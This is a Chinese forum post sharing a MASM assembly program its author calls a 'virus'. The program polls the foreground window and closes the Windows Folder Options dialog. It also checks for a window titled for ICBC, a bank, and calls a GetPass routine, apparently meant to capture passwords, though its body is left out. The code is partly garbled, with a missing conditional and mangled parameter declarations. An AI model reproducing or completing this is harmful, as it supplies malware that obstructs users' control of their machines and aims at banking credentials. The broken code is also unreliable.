| 查看: 381 | 回复: 0 | |||
| 当前主题已经存档。 | |||
sdlj8051金虫 (著名写手)
|
[交流]
讨论一个汇编写的＂病毒＂
|
||
|
;MASM 病毒:禁止打开文件夹选项,运行后请用任务管理器结束 .486 .model flat,stdcall option casemap:none ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 数据 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Equ 数据 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 数据段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data sbar db "文件夹选项",0 sbar2 db 185,164,201,204,210,248,208,208,0 ;ICBC .data? slen dd ? fwin HINSTANCE ? hInstance HINSTANCE ? CommandLine LPSTR ? Timerid UINT ? lpString byte 127 dup(?) ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 代码段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code TimerProc PROC hWnd  WORD,uMsgWORD,wParamWORD,lParamWORDinvoke GetForegroundWindow ;取前台窗口句柄 mov fwin,eax invoke GetWindowText, fwin,addr lpString,100 ;取窗口标题 .if eax==0 ret .endif invoke lstrlen, offset lpString ;获得长度 mov slen,eax invoke CharUpperBuff,offset lpString,slen ;转为大写 invoke lstrcmp,addr lpString, addr sbar ;比较文本 invoke SendMessage,fwin,WM_CLOSE,NULL,NULL .endif invoke lstrcmp,addr lpString, addr sbar2 ;比较文本 .if eax==0 invoke GetPass,fwin .endif ret TimerProc endp ;************************************************************ whileStar PROC LOCAL @stMsg:MSG .while TRUE invoke GetMessage,addr @stMsg,NULL,0,0 .break .if (!eax) invoke TranslateMessage,addr @stMsg invoke DispatchMessage,addr @stMsg .endw ;...... ret whileStar endp GetPass PROC hwnd:drord ;...... GetPass endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 程序开始 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> start: invoke GetModuleHandle,NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke SetTimer,NULL,NULL,100, addr TimerProc ;定时器:100ms mov Timerid,eax invoke whileStar ;进入消息循环,直到收到退出消息 invoke KillTimer,NULL,Timerid invoke ExitProcess,NULL ;******************************************************************** end start ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 实际上也不算病毒，网吧里可能用得着 如果加一个配置文件，就可以结束指定窗口名的程序 等等 [ Last edited by 幻影无痕 on 2006-10-17 at 10:19 ] |
回复此楼» 猜你喜欢
材料与化工328分调剂
已经有3人回复
-
279分求调剂 一志愿211
已经有20人回复
-
293求调剂
已经有3人回复
-
一志愿华东理工大学081700，初试分数271
已经有6人回复
-
085404电子信息284分求调剂
已经有3人回复
-
306求0703调剂一志愿华中师范
已经有9人回复
-
一志愿吉大化学322求调剂
已经有6人回复
-
求调剂
已经有5人回复
-
344求调剂
已经有3人回复
-
一志愿哈工大，085400，320，求调剂
已经有3人回复
